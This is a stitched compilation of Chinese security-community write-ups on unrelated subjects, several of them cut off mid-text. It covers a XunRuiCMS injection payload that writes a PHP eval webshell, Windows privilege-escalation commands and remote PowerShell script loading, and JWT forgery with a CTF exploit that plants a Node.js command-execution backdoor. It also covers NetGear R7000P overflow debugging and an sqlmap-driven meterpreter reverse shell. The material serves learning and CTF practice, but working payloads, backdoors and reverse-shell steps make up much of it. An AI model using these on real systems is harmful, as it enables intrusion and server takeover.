以下是我的一种方法,整个漏洞利用过程中,除了上述所述的关于add()函数中增加的对键值对的value的过滤,其他流程相较于之前的版本没有任何变化:
获取到csrf_test_name之后,给`http://host:port/Admin.php?c=Cron&m=add`post以下内容:
isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data%5B1%5D%5Bname%5D=1&data%5B1%5D%5Bcode":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'%5D=1
经过url解码后为:
isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data[1][name]=1&data[1][code":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;']=1
绕过json编码和xss清洗以及dr_safe_filename()函数的过滤后,写入`WRITEPATH.'config/cron.php'`文件中的内容为:
<?php ?>`
# 后渗透以及整理的其他师傅发的迅睿CMS的漏洞
过几天发一个整理的其他师傅发的迅睿CMS的漏洞以及我关于后渗透的一点经验 | 社区文章 |
## 前言：
了解基础知识之后，这次就来仔细学一下Windows操作系统的提权。
## Windows提权基础
#### 0x00:Windows提权的大致方向
拿到一个低权限时要进行提权，首先要清楚从哪里入手，清楚了提权的大致方向，才能事半功倍。
其中比较常见而且利用较多的有
1. `内核提权`
2. `数据库提权`
3. `应用提权`
4. `中间人劫持等`
#### 0x01:Windows基础提权命令
查询系统信息
systeminfo
如果要查看特定的信息，可以使用
systeminfo | findstr /B /C:"OS名称" /C:"OS版本"
主机名
Hostname
环境变量
Set
查看用户信息
Net user
查看服务pid号
Tasklist /svc|find "TermService"
netstat -ano|find "3389"
查看系统名
wmic os get caption
查看补丁信息
wmic qfe get Description,HotFixID,InstalledOn
如果要定位到特定的补丁可以使用如下命令
wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094"
查看当前安装程序
wmic product get name,version
其中需要注意一下`环境变量`，因为有的软件环境变量可能设置在其它路径中，而在该路径下的文件是具有写权限的，就可以通过 **替换文件** 来达到提权操作
#### 0x02:常见所处的权限
通常拿到`webshell`，获得的权限如下：
ASP/PHP 匿名权限
ASPX user权限
jsp 通常是系统权限
#### 0x03:提权的前提条件
最重要的就是 **收集信息** 了，根据收集到的信息再进行响应的攻击。
服务器系统和版本位数
服务器的补丁情况
服务器的安装软件情况
服务器的防护软件情况
端口情况
收集好信息，就可以先从这几个方面入手：
确定是否能执行命令（如果不能调用系统cmd执行命令。 要上传一个cmd.exe）
找一个可写可执行的目录
通过查找的补丁信息,找相应的exp提权
#### 0x04:溢出漏洞提权
> 溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名：缓冲区溢出漏洞 因为它是在程序执行的时候在缓冲区执行的错误代码，所以叫缓冲区溢出漏洞。
**溢出漏洞提权** 是利用操作系统层漏洞进行权限提升，通常步骤是拿到shell后获取目标机器的补丁信息，通过目标的补丁情况获取相对应的漏洞，进行提权
## Windows提权实践
#### 0x01:Pr提权
`Pr`是windows本地溢出工具，主要作用就是可以将 **低权限用户提升为系统权限**
，主要用于webshell提权，补丁号为`KB952004`，虽然Pr提权已经很老了，但对于新手去学习提权还是需要去学习一下的，接下来就来实践一下Pr提权。
一个上传页面，使用`Wappalyzer`分析一下服务器是什么服务器，以及网站环境等
Web服务器是`iis6.0`，存在 **中间件解析漏洞** ，可以利用这个漏洞进行上传木马
IIS6.0解析漏洞介绍
当建立*.asa、.asp格式的文件夹时，其目录下的任意文件都将会被IIS当做asp解析。
当文件.asp;1.jpg IIS6.0同样会将文件作为asp文件解析。
上传一个`asp`一句话木马，改下目录和文件后缀
上传成功
连接成功
获得webshell权限，先来查看一下当前的用户权限，发现菜刀的虚拟终端没办法使用，自己上传一个
当前的用户权限是
并没有创建用户等权限，所以接下来就要收集信息了，先来查询一下系统信息
在系统的补丁中发现没有`KB952004`
因此可以利用这个漏洞进行提权（`cve-2009-0079`），上传`pr.exe`
提权成功
#### 0x02:Windows分析工具的利用
###### **WinSystemHelper**
> WinSystemHelper检查可利用的漏洞，该工具适合在任何 **Windows** 服务器上进行已知提权漏洞的检测
使用方法:
上传bat+txt文件，运行bat查看结果
[WinSystemHelper](https://github.com/brianwrf/WinSystemHelper)
**实验环境**
windows server 2003
创建一个`iis`服务，并开启`asp`支持，在`wwwroot`目录下放一个`aspx`木马，菜刀进行连接
连接成功后，查看权限
权限不高，在其他文件夹中上传不了，但可以在`RECYCLER`文件夹中上传文件，因为一般情况下这个文件夹都是有权限进行上传的。（`RECYCLER`是
**windows** 操作系统中存放被删除文件的文件夹之一）
根据`WinSystemHelper`的使用方法，在该目录下上传`bat+txt`文件。
虚拟终端运行一下`WinSysHelper.bat`
有很多可以利用的漏洞，找一个11年的exp测试一下
直接运行，发现成功添加了一个`k8team`的用户
创建的用户已经成功添加到管理员组当中，提权成功
###### Sherlock
> Sherlock是一个在Windows下用于本地提权的PowerShell脚本
<https://github.com/rasta-mouse/Sherlock>
**使用方法:**
本地加载脚本
Import-Module Sherlock.ps1
远程加载脚本
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
检查漏洞
Find-AllVulns
出现Appears Vulnerable就是存在漏洞
**实验环境**
win7,搭配有phpstudy
先用管理员账号创建一个普通的账号,用户名为`test`，登陆进去，在根目录下设置一个php一句话木马，进行连接，发现无法在虚拟终端执行命令，而且自己上传进去的`cmd.exe`也无法使用，这时可以使用另外一款工具`phpspy`，将其中的`2011.php`文件上传到网站根目录并进行访问
密码在源代码中有
登陆之后，在这里面便可以进行命令执行了
接下来在`C:/users/test`目录下放入`Sherlock`文件
接下来调用下`Powershell`,这里直接在`win7`本机做实验了，所以使用如下命令
powershell.exe -exec bypass
启动成功，下面本地加载下脚本，检查下存在的漏洞
Import-Module ./Sherlock.ps1
Find-AllVulns
通过这样的分析，便可以找到对应的漏洞，利用相应的`exp`即可
可以找`MS14-058`测试一下,上传与操作系统版本相同的exp
提权成功
###### Privesc
> 该工具可以枚举出目标Windows系统中常见的Windows错误安全配置，错误的安全配置将允许攻击者在目标系统中实现信息收集以及权限提升
[Privesc](https://github.com/PowerShellMafia/PowerSploit)
**使用方法：**
本地加载脚本
Import-Module .\Privesc.psm1
获取函数
Get-Command -Module Privesc
检测全部信息
Invoke-AllChecks
命令行下执行
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Invoke-AllChecks}"
远程调用执行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfp');Invoke-AllChecks"
添加用户
Install-ServiceBinary -ServiceName '服务名' -UserName user -Password password
先进入`Powershell`
加载脚本并获取函数
检测全部信息
除此之外，可以将信息导入到文件中
IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfp');Invoke-AllChecks >1.txt
添加一个`shy`用户，密码为`123456`
Install-ServiceBinary -ServiceName 'phpStudySrv' -UserName shy -Password 123456
执行成功
#### 0x03:提权实战
在测试的网站中上传一个`asp`木马文件，菜刀进行连接
当前权限为
没有创建用户等权限，需要进行提权操作，使用命令`systeminfo` 查看一下系统信息
当前的操作系统是`winserver-2008`，查到`CVE-2018-8120`可以对该系统进行提权操作,就将exp文件上传上去，但发现网站根目录和垃圾邮箱都无法上传进去
但是经过测试后发现，可以在`User/All Users`目录下进行上传exp文件
提权成功
创建用户成功
## 总结
通过这次学习，对Windows操作系统的提权有了一定的了解，下面就来学习一下Linux操作系统的提权！ | 社区文章 |
# 前言
看了第一届研究生网络安全大赛 Hackthisbox 这道题，考点是JWT算法混淆攻击
感觉到自己对于JWT方面的知识点不太熟悉
于是便有了下文
* * *
# 目录
1.基本介绍
2.未经验证的签名
3.签名验证缺陷
4.密钥爆破
5.标头参数注入
6.算法混淆攻击
* * *
# 基本介绍
JWT全拼Json Web Token
由 标头(Header)、有效载荷(Payload)和签名(Signature)组成
每个段落用英文句号连接 ，这一串内容会base64加密
JWT 使用
1、服务端根据登陆状态 将用户信息加密到token中，返给客户端
2、客户端收到服务端返回的token，存储在cookie中,并且每次通信都带上token，服务端解密token，验证内容，完成相应逻辑
先下载个bp插件 JWT edictor
操作比较方便些
* * *
## 未经验证的签名
产生原因：和标题同义 简单点说，忘记验证签名了
portswigger jwt系列 lab1
把原来的wiener修改为administrator
即可获得删除用户 carlos 的url 通关
* * *
## 签名验证缺陷
产生原因：JWT 标头的alg参数，告诉服务器使用哪种算法对令牌进行签名，当alg参数设置为none时，
可以任意伪造
portswigger lab2
修改alg为none
sub为administrator
Attack -none Signing Algorithm
* * *
## 密钥爆破
爆破字典<https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list>
工具：hashcat <https://hashcat.net/hashcat/>
指令：hashcat -a 0 -m 16500 <jwt> <wordlist></wordlist></jwt>
portswigger lab3
1.登陆当前账户提取jwt
2.hashcat -a 0 -m 16500 <jwt> <wordlist></wordlist></jwt>
爆出密钥 secret1
3.构造jwt
方法1：在bp插件中
k值替换为base64过的密钥 即secret1
方法2：jwt.io
右下角填入密钥
* * *
## 标头参数注入
通过 JWK参数/JKU参数/kid参数 注入自签名的JWT
1.JWK (JSON Web Key)使得攻击者能将认证的密钥直接嵌入token中，配置错误的服务器有时会使用嵌入在jwk参数中的任何密钥
portswigger lab4
生成一个RSA密钥
sub处修改为administrator
选择Embedded JWK(嵌入的JWK)
2.JKU （JWK Set URL）可以引用包含密钥的 JWK Set，验证签名时，服务器从该 URL
获取相关密钥。若允许使用该字段且不设置限定条件，攻击者就能托管自己的密钥文件，并指定应用程序，用它来认证token
portswigger lab5
生成一个rsa密钥 选择Copy Public Key as JWK
转到漏洞利用服务器 修改body 复制内容到keys中并存储
3.Kid
避免服务器验证签名时出现错误所以使用kid，JWT规范中没有对这个kid定义具体的结构，仅仅是开发人员任意选择的一个字符串
portswigger lab6
先生成一个对称密钥 k值覆盖为null（base64）
kid修改为 "kid":" ../../../../../../../dev/null" // dev/null代表空设备文件
修改sub为admin
点击sign选择OCT8 的密钥攻击 即可
* * *
## 算法混淆攻击
如果将算法RS256修改为HS256（非对称密码算法=>对称密码算法），则库的通用verify()方法会将公钥视为 HMAC
机密，公钥有时可以被攻击者获取到，所以攻击者可以修改header中算法为HS256，然后使用RSA公钥对数据进行签名。
portswigger lab7
1.访问/jwks.json获得公钥
2.将JWK转换为PEM格式
复制jwk set内容
Copy Public Key as PEM
3.生成新的对称密钥
4.修改并签署令牌
## 第一届研究生网络安全大赛HackThisBox
涉及知识点：JWT算法混淆攻击
给了docker和源码
分析：
api.js
var privateKey = fs.readFileSync('./config/private.pem');
router.post('/login', function(req, res, next) {
const token = jwt.sign({ username: req.body.username, isAdmin: false, home: req.body.username }, privateKey, { algorithm: "RS256" });
加密的时候用的是非对称加密RS256(RSA + SHA-256)
//app.JS
var publicKey = fs.readFileSync('./config/public.pem');
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}).unless({ path: ["/", "/api/login"] }))
解密用对称加密HS256(HMAC + SHA-256)
app.use(function(req, res, next) {
if([req.body, req.query, req.auth, req.headers].some(function(item) {
console.log(req.auth)
return item && /\.\.\/|proc|public|routes|\.js|cron|views/img.test(JSON.stringify(item));
})) {
return res.status(403).send('illegal data.');
} else {
next();
};
});
正则
router.post('/upload', function(req, res, next) {
if(req.files.length !== 0) {
var savePath = '';
if(req.auth.isAdmin === false) {
var dirName = `./public/upload/${req.auth.home}/`
fs.mkdir(dirName, (err)=>{
if(err) {
console.log('error')
} else {
console.log('ok')
}
});
savePath = path.join(dirName, req.files[0].originalname);
} else if(req.auth.isAdmin === true) {
savePath = req.auth.home;
}
fs.readFile(req.files[0].path, function(err, data) {
if(err) {
return res.status(500).send("error");
} else {
// 任意文件写入
fs.writeFileSync(savePath, data);
}
});
return res.status(200).send("file upload successfully");
} else {
return res.status(500).send("error");
}
});
思路：伪造token设置isAdmin=true 利用fs.writeFileSync(savePath, data)覆盖index.js写入后门
(使用url编码来绕过正则)
* * *
1.伪造token
var express = require('express');
var fs = require("fs")
var jwt = require("jsonwebtoken")
var path = require('path')
var app = express();
var publicKey = fs.readFileSync('./src/config/public.pem');
app.get('/', function(req, res, next) {
const token = jwt.sign({username: "admin", isAdmin: true, home: {
href: "c",
origin: "c",
protocol: "file:",
hostname: "",
pathname: "/app/%72%6f%75%74%65%73/index.%6a%73" // app/routes/index.js
}}, publicKey, {algorithm: "HS256"});
res.send({token})
})
var server = app.listen(7000, function () {
var host = server.address().address;
var port = server.address().port;
console.log("Address is http://%s:%s", host, port);
})
后门
var express = require('express');
const execSync = require('child_process').execSync;
var router = express.Router();
router.get('/', function(req, res, next) {
var cmd = execSync(req.query.cmd);
res.send(cmd.toString());
});
module.exports = router;
最终exp
import requests
sess = requests.session()
url = 'http://localhost:8082'
hearder = {"authorization":"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaG9tZSI6eyJocmVmIjoiYyIsIm9yaWdpbiI6ImMiLCJwcm90b2NvbCI6ImZpbGU6IiwiaG9zdG5hbWUiOiIiLCJwYXRobmFtZSI6Ii9hcHAvJTcyJTZmJTc1JTc0JTY1JTczL2luZGV4LiU2YSU3MyJ9LCJpYXQiOjE2NjkzMDYzNDZ9.RdEQN3Kt0c_Fz_n9uJP3dTYZHWqdp6GoJ3Yd5YpZjl4"}
file = {"file":("./shell.js",open("./shell.js","rb").read())}
res = sess.post(url=url+"/api/upload",files=file,headers=hearder)
print(res.text) | 社区文章 |
# NetGear R7000P 路由器栈溢出漏洞硬件调试与分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞信息
NetGear 系列中的路由器存在栈缓冲区溢出漏洞，漏洞的产生是由于在对处理输入的字符串时，将字符串存入栈中，没有对字符串的长度做限制。
调试漏洞设备： NetGear R7000P
漏洞固件版本：R7000P-V1.3.1.64_10.1.36
固件下载链接：【[http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.1.64_10.1.36.zip】](http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.1.64_10.1.36.zip%E3%80%91)
poc链接： 【[https://github.com/grimm-co/NotQuite0DayFriday/tree/master/2020.06.15-netgear】](https://github.com/grimm-co/NotQuite0DayFriday/tree/master/2020.06.15-netgear%E3%80%91)
## 漏洞静态分析
把下载好的固件包使用binwali -Me 解开。在后查看httpd 文件所在的位置
首先根据公开的poc 开分析，漏洞产生的点有 “ upgrade_check.cgi “
的字符串，可以定位到如下图的代码段。可以看到有两处，很明显是下面的判断才能使程序继续往下走，因为第一个判断里面讲初始化的stop_while
原本为1，设置为0，会导致程序去校验其他的文件，无法达到漏洞点。
最终会跳转到下面代码片段，最终跳出循环。
因为在循环之前，就设置stop_while的值为 1
跳出循环后，往下继续看，发现会对数据进行判断，这里分别对“name=”mtenFWUpload”” 和
“\r\n\r\n”进行判断，如果存在，则跳出当前循环
跳出循环后，就会执行到将产生溢出点的函数
进入vulfunc函数，可以看到会对数据进行判断是否以”*#$^”开头。然后会将数据通过memcpy函数由src指向地址为起始地址的连续 v9
个字节的数据复制到以 s 指向地址为起始地址的空间内。并且可以看到 v9 的值是可以通过src 中的数据进行获取，因此可以进行通过控制 v9 的大小，将
src 的数据覆盖到 s 中，但 s 的大小只有140个字节，从而造成大缓冲区向小缓冲区复制的数据覆盖相邻内存内的数据。造成栈缓冲区溢出。
## 接入路由器UART串口
首先需要识别串口
识别工具：万用表、 DSLogic 、 FT232转换USB
拆开路由器的外壳，可以很明显的看到路由器PCB 中有UART的四根引脚，如下图所示。
### 识别UART 引脚
接下来我们来识别UART的引脚。
这里使用万用表来识别URAT 四个引脚的定义，
URAT 主要的引脚分别是：
* TX （接收）
* RX （发送）
* GND （接地）
* Vcc （供电）
**识别GND 引脚**
路由器PCB（通电）: 我是通电状态下测的
万用表：将万用表指针指向一个类似wifi 信号的符号。
万用表的黑色探针放在地面或者任意金属面，红色探针分别在4根引脚出逐一测试，直到听到滴滴或者哔哔的声音。下面这块PCB设备，第三根是GND引脚。
这种测试被称为通导性测试。
**识别Vcc 引脚**
PCB： 需要给PCB板子通电
万用表：指针指向20V的直流档位
1、黑色探针接地，红色探针在除了GND引脚的其他引脚测量，电压值为最大值，例如3.6V，5V等。就可以确定是VCC引脚。但是我在实际测试的时候，在第二根引脚和第四根引脚都是出现了最大电压值，不好判断。
第四根引脚电压值如下图所示
第二根引脚电压值如下图所示
2、不好判断的时候，将这两根引脚分别和GND引脚短接，设备重启，就可以判断是Vcc引脚。
这里我将GND引脚和第四根短接的时候，设备会重启。
因此第四根是Vcc引脚
**识别TX 引脚和RX 引脚**
PCB ： 通电
万用表：指针指向20V的直流档位
1、 黑色探针放在GND 引脚，红色探针测试剩余的两根引脚。 测试GND
引脚和其他引脚之间的电压，由于设备在引导式会进行大量的数据传输，因此在电压有变化并且增大后固定一个值，那么这个引脚就是TX引脚。
2、 如果电压波动很小，或者一直为0，那该引脚就是Rx引脚。
### 确定波特率
确定波特率有不同的方法，基本上常见的波特率都试一遍，一般都可以确定串口的波特率，但是这里介绍使用DSLogic 逻辑分析仪 来确定UART串口波特率。
**学习使用DSLogic**
首先要先学会使用逻辑分析仪，这里简单的测试让逻辑分析仪接收 “ helloworld “
接线： 将逻辑分析仪通道1的线接到FT232上的TXD（Tx）引脚。 然后将分析仪的黑色引线（接地线）接到GND引脚。
这里的DSView
工具中参数的设置需要去看说明文档，点击“开始”按钮，采集数据，然后使用XCOM串口工具设置好波特率和串口，打开串口后，设置发送的信息，点击发送即可。然后在DSView
就可以看到采集的信息了。采集完之后设置好解析，就可以看到对应的信息了
**使用DSLogic 采集串口信息**
接线：
之前用万用表将引脚都识别出来了，因此直接把逻辑分析仪的通道1的线接到PCB串口的TX引脚上，然后将分析仪的黑色引线（接地线）接到GND引脚。如下图所示
1、 线接好了之后，打开DSView 软件
* 设置采样率为1MHZ
* 设置采样时间为1s ，当然你也可以设置大一些，10s 或者更大，这样采集的信息可能会更多。
* 设置阈值电压，用万用表测是TX和GND之间的电压为3.34V，我这里设置为4V。
* 设置通道为6个，这个其实是用几个就设置几个。
点击开始按钮，进行采集，然后重启路由器PCB。
采集结果如下图所示
注意这里显示了正常的ASCII码，是因为我设置好了波特率。一般来说，常用的波特率有常见波特率1200、2400、4800、19200、38400、57600、9600、115200。
如下图所示，如果不对，则为乱码，因此可以确定波特率为115200
**PCB串口接入**
接线方式：
TTL ——- 路由器UART
GND ——- GND
TX ——- RX
RX ——- TX
使用SecureCRT 接入连接
## 远程动态调试
动态调试工具：编译好的 gdbserver (arm 架构)、gdb(arm 架构)
poc: 【[https://github.com/grimm-co/NotQuite0DayFriday/blob/trunk/2020.06.15-netgear/exploit.py】](https://github.com/grimm-co/NotQuite0DayFriday/blob/trunk/2020.06.15-netgear/exploit.py%E3%80%91)
**gdbserver 启动**
在使用串口接入设备之后，把gdbserver 上传到设备的/tmp 目录中
cd /tmp/;wget http://xx.xx.xx.xx:xxxx/gdbserver;chmod 777 gdbserver
在设备中查找 “httpd” 的进程号
将httpd 进行附加到 gdbserver
./gdbserver *:12345 --attach 3256
**gdb 远程连接gdbserver**
target remote 192.168.1.1:12345
**开始调试**
在关键的地点打好断点
打断点
(gdb) break *0x00017398
Breakpoint 1 at 0x17398
(gdb) break *0x0001CFF0
Breakpoint 2 at 0x1cff0
(gdb) break *0x0001D0C4
Breakpoint 3 at 0x1d0c4
然后输入”continue”， 接着执行exploit
到$R0寄存器中作为vulfunc的参数
接下来我们看寄存器的值，可以看到$r0 寄存器的值为 0xbe940f89
查看0xbe940f89 内存地址中的值，可以看到内存中成功的被覆盖了构造好的数据。
然后接着“continue” 往下执行，执行到 0x0001cff0 断点位置会执行 memcpy 函数。
查看执行到memcpy函数时，寄存器中的值，由于memcpy函数会调用 $r0 , $r1 , $r2 寄存器的值作为参数
查看$r0 , 和 r1 寄存器内的值， 在执行前r0 还没被$r1 中的值覆盖。
执行完memcpy 函数之后r0 被r1中的值所覆盖
接着往下执行，vulfunc函数 会把栈上的地址复制到 r4~r11,pc 寄存器中
接着往下执行到system 函数，可以看到 $r0 寄存器地址上的值是我们要执行的command。接着往下执行就会达到执行命令的效果
## 构造ROP
虽然poc 中已经计算好了偏移，但是我们需要自己去计算。
如下图所示，我们可以知道memcpy 中 第一个参数s 的离栈底的偏移是 136
最终构造的rop 链如下图所示
## 总结
通过这个漏洞的调试，可以学些到通过UART在路由器中进行远程调试。 | 社区文章 |
# 0x00 前言
今天笔者来分享一个以SQL注入为突破点从而全面控制目标服务器的渗透案例。
# 0x01 案例分析
**实验环境：**
* 目标靶机：10.11.1.128
* 攻击机：Kali Linux (10.11.0.74)
**渗透过程**
按照惯例首先进行服务和端口枚举，发现了目标服务器开放了SNMP的端口161并进行了扫描，如下：
# snmp-check -c public 10.11.1.128
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
[+] Try to connect to 10.11.1.128:161 using SNMPv1 and community 'public'
[*] System information:
Host IP address : 10.11.1.128
Hostname : DJ
Description : Hardware: x86 Family 6 Model 12 Stepping 2 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.0 (Build 2195 Uniprocessor Free)
Contact : - Location : - Uptime snmp : 15:32:30.62
Uptime system : 497 days, 01:04:09.29
System date : 2017-9-17 03:16:22.0
Domain : WORKGROUP
[*] User accounts:
Guest
IUSR_SRV2
IWAM_SRV2
Administrator
TsInternetUser
[*] Network information:
… …
[*] Network interfaces:
… …
[*] Network IP:
Id IP Address Netmask Broadcast
16777219 10.11.1.128 255.255.0.0 1
1 127.0.0.1 255.0.0.0 1
[*] Routing information:
Destination Next hop Mask Metric
0.0.0.0 10.11.1.220 0.0.0.0 1
10.11.0.0 10.11.1.128 255.255.0.0 1
10.11.1.128 127.0.0.1 255.255.255.255 1
10.255.255.255 10.11.1.128 255.255.255.255 1
127.0.0.0 127.0.0.1 255.0.0.0 1
224.0.0.0 10.11.1.128 224.0.0.0 1
255.255.255.255 10.11.1.128 255.255.255.255 1
[*] TCP connections and listening ports:
Local address Local port Remote address Remote port State
0.0.0.0 21 0.0.0.0 18462 listen
0.0.0.0 25 0.0.0.0 51204 listen
0.0.0.0 80 0.0.0.0 59498 listen
0.0.0.0 135 0.0.0.0 10410 listen
0.0.0.0 443 0.0.0.0 18519 listen
0.0.0.0 445 0.0.0.0 2240 listen
0.0.0.0 1025 0.0.0.0 34838 listen
0.0.0.0 1027 0.0.0.0 18446 listen
0.0.0.0 1029 0.0.0.0 10327 listen
0.0.0.0 1033 0.0.0.0 10427 listen
0.0.0.0 3372 0.0.0.0 18462 listen
0.0.0.0 5800 0.0.0.0 2240 listen
0.0.0.0 5900 0.0.0.0 10324 listen
10.11.1.128 80 10.11.0.72 45991 timeWait
10.11.1.128 80 10.11.16.18 49258 timeWait
10.11.1.128 80 10.11.16.18 49259 timeWait
10.11.1.128 80 10.11.16.18 49260 timeWait
10.11.1.128 80 10.11.16.18 49261 timeWait
10.11.1.128 80 10.11.16.18 49262 timeWait
10.11.1.128 80 10.11.16.18 49263 timeWait
10.11.1.128 80 10.11.16.18 49264 timeWait
10.11.1.128 139 0.0.0.0 59563 listen
10.11.1.128 1074 10.11.1.229 139 timeWait
10.11.1.128 27900 0.0.0.0 18494 listen
127.0.0.1 27900 0.0.0.0 10298 listen
[*] Listening UDP ports:
Local address Local port
0.0.0.0 135
0.0.0.0 161
0.0.0.0 445
0.0.0.0 1030
0.0.0.0 1434
0.0.0.0 3456
10.11.1.128 137
10.11.1.128 138
10.11.1.128 500
[*] Network services:
… …
[*] Storage information:
… …
[*] Software components:
… …
[*] IIS server information:
… …
[*] Share:
Name : share
Path : C:\share
Comment :
Name : wwwroot
Path : C:\Inetpub\wwwroot
Comment :
接着，利用msf的auxiliary/scanner/mssql/mssql_ping模块扫描一下是否存在MSSQL服务。
msf exploit(mssql_payload) > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > set RHOSTS 10.11.1.128
RHOSTS => 10.11.1.128
msf auxiliary(mssql_ping) > run
[*] 10.11.1.128: - SQL Server information for 10.11.1.128:
[+] 10.11.1.128: - ServerName = DJ
[+] 10.11.1.128: - InstanceName = MSSQLSERVER
[+] 10.11.1.128: - IsClustered = No
[+] 10.11.1.128: - Version = 8.00.194
[+] 10.11.1.128: - np = \\DJ\pipe\sql\query
[+] 10.11.1.128: - tcp = 27900
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mssql_ping) >
收集信息如下：
* 操作系统：Windows 2000
* 开放了HTTP服务，端口是80，并且似乎web根目录是C:\Inetpub\wwwroot
* 开放了FTP服务，端口是21
* 开放了SMTP服务，端口是25
* 开放了MSSQL服务，端口是27900
测试HTTP服务发现了一个POST类型的SQL注入漏洞，如下：
利用SQLMAP进一步检测一下这个SQL注入漏洞。
# sqlmap -u "http://10.11.1.128/login-off.asp" --data="txtLoginID=amdin&txtPassword=1&cmdSubmit=Login" --dbs --current-user --is-dba --current-db --batch
___
__H__
___ ___[']_____ ___ ___ {1.1.6#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:40:12
[18:40:12] [INFO] resuming back-end DBMS 'microsoft sql server'
[18:40:12] [INFO] testing connection to the target URL
[18:40:12] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
--- Parameter: txtLoginID (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: txtLoginID=amdin';WAITFOR DELAY '0:0:5'--&txtPassword=1&cmdSubmit=Login
--- [18:40:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP, Microsoft IIS 5.0
back-end DBMS: Microsoft SQL Server 2000
current user: 'sa'
current database: 'bankdb'
[18:40:12] [INFO] testing if current user is DBA
current user is DBA: True
[*] bankdb
[*] master
[*] model
[*] msdb
[*] tempdb
[18:40:12] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.11.1.128'
[*] shutting down at 18:40:12
发现如下的信息：
* web服务器是Windows 2000
* web应用是Microsoft IIS5.0
* 后台的数据库系统是MSSQL 2000
* SQL注入类型是POST类型的Stacked Queries with POST method **，** 意味着我们可以执行堆叠查询
* 当前的数据库用户是sa，并且是DBA权限，意味着我们应该可以在目标服务器上获得管理员权限
与此同时，通过检测发现目标服务器上安装了tftp。
首先，生成meterpreter反弹shell并上传至Kali的tftp服务器的目录里：
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.74 LPORT=4444 -f exe -o rshell.exe
接着，通过SQL注入在目标机器上下载payload至目标服务器的目录c:\inetpub\wwwroot\：
# sqlmap -u "http://10.11.1.128/login-off.asp" --data="txtLoginID=amdin&txtPassword=1&cmdSubmit=Login" --os-cmd='cd c:\inetpub\wwwroot\ && tftp -i 10.11.0.74 get rshell.exe' --tamper=space2mssqlblank.py
然后，执行payload从而获得反弹shell：
# sqlmap -u "http://10.11.1.128/login-off.asp" --data="txtLoginID=amdin&txtPassword=1&cmdSubmit=Login" --os-cmd='c:\inetpub\wwwroot\rshell.exe' --tamper=space2mssqlblank.py
最后，成功地获得了一个SYSTEM权限的meterpreter反弹shell：
# 0x02 小结
总结一下本案例的渗透思路如下：
1. 通过nmap对目标服务器进行服务和端口的枚举
2. 扫描snmp服务和mssql服务并收集服务器信息
3. 检测http服务并发现SQL注入漏洞
4. 通过SQL注入来下载并执行payload
5. 最终获得反弹shell从而完全控制服务器 | 社区文章 |
**前言**
很久没有审计了，周末特意找了个了小众的cms来学习学习。这次对象是鱼跃cms，官网下载的最新版，提前去相关漏洞库看了看，基本上都被大佬们挖完了，本人安全小白，就找到了3个的洞，各位师傅嘴下留情。这次主要是分享我在这次阅读代码中的一点感受。
**审计之前**
工欲善其事，必先利其器。好的工具事半功倍。每个人都有自己习惯的工具和审计套路，也不必过多评价，这里只分享自己的，如果对各位位师傅有用，那也是我的荣幸。
* phpstorm + phpstudy + burpsuite + 自动化审计工具
感觉这一套就行了，分别说下我个人认为的优点吧：
* phpstorm
相比于一些静态的文本编辑器，它可以动态调试，配合phpstudy来进行debug对像我这种新手来说比较友好，定位函数、跟踪传参呀都比较nice。
* phpstudy
本地搭建环境，方便快捷，不需要懂那么多，就能快速上手。
* burpsuite
有时候本地环境搭建起来后，会先黑盒搞一搞，这个时候挂上bp的话，我个人觉得最直观的就是有助于上手cms的路由，通过浏览之前的抓包情况，结合MVC框架特点，很快就能搞清楚路由，我觉得这个很重要，因为涉及到一些方法的调用，漏洞的利用等等，不用再从头跟一遍传参呀什么的。
* 自动化审计工具
这个种类很多，好坏也很明显，报的很全，但是误报很多。
* 再提一句，之前看到一位师傅的思路是遍历cms中的文件，然后爆破看是否有未授权，当时觉得这个思路不错，就简单写了个复现，也用在了这次审计中（但是没收获），代码附上（水平有限，见谅见谅）：
# 作者：juju
# 日期：2021/11/22 18:21
import os
import sys
import re
try:
path = sys.argv[1]
file_ext = sys.argv[2]
current_root = sys.argv[1].split('\\')[-1]
list = []
# path = '/home/jhxie/Workspace/namesort'
